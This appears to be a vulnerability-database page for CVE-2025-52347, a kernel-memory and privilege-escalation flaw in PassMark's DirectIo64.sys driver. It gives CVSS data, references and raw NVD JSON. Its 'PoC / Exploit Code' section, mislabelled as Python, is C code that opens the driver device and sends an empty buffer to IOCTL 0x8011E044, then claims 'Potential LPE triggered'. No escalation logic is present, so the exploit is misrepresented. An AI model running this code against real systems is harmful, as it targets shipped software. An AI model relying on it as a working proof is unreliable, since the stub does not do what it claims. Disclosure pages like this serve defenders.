CVE-2025-52347

Description

An issue in the component DirectIo64.sys of PassMark BurnInTest v11.0 Build 1011, OSForensics v11.1 Build 1007, and PerformanceTest v11.1 Build 1004 allows attackers to access kernel memory and escalate privileges via a crafted IOCTL 0x8011E044 call.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PassMark BurnInTest v11.0 Build 1011

OSForensics v11.1 Build 1007

PerformanceTest v11.1 Build 1004

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <stdio.h>

// Define the vulnerable IOCTL code
#define VULNERABLE_IOCTL 0x8011E044

int main() {
    // Open a handle to the device driver
    HANDLE hDevice = CreateFileA("\\\\.\\DirectIo", 
                                  GENERIC_READ | GENERIC_WRITE, 
                                  0, 
                                  NULL, 
                                  OPEN_EXISTING, 
                                  FILE_ATTRIBUTE_NORMAL, 
                                  NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    printf("[+] Device handle opened successfully.\n");

    DWORD bytesReturned;
    char inputBuffer[0x100] = {0}; // Malicious input buffer
    char outputBuffer[0x100] = {0};

    // Trigger the vulnerability by sending the IOCTL
    printf("[*] Sending malicious IOCTL request...\n");
    BOOL result = DeviceIoControl(hDevice, 
                                  VULNERABLE_IOCTL, 
                                  inputBuffer, 
                                  sizeof(inputBuffer), 
                                  outputBuffer, 
                                  sizeof(outputBuffer), 
                                  &bytesReturned, 
                                  NULL);

    if (result) {
        printf("[+] IOCTL call successful! Potential LPE triggered.\n");
    } else {
        printf("[-] IOCTL call failed. Error: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52347
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52347
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52347/
[4] VulDB https://vuldb.com/cve/CVE-2025-52347
[5] https://github.com/netero1010/Vulnerability-Disclosure/tree/main/CVE-2025-52347
[6] https://www.osforensics.com/whats-new.html
[7] https://www.passmark.com/products/burnintest/history.php
[8] https://www.passmark.com/products/performancetest/history.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52347", "sourceIdentifier": "[email protected]", "published": "2026-05-01T19:16:28.113", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the component DirectIo64.sys of PassMark BurnInTest v11.0 Build 1011, OSForensics v11.1 Build 1007, and PerformanceTest v11.1 Build 1004 allows attackers to access kernel memory and escalate privileges via a crafted IOCTL 0x8011E044 call."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://github.com/netero1010/Vulnerability-Disclosure/tree/main/CVE-2025-52347", "source": "[email protected]"}, {"url": "https://www.osforensics.com/whats-new.html", "source": "[email protected]"}, {"url": "https://www.passmark.com/products/burnintest/history.php", "source": "[email protected]"}, {"url": "https://www.passmark.com/products/performancetest/history.php", "source": "[email protected]"}]}}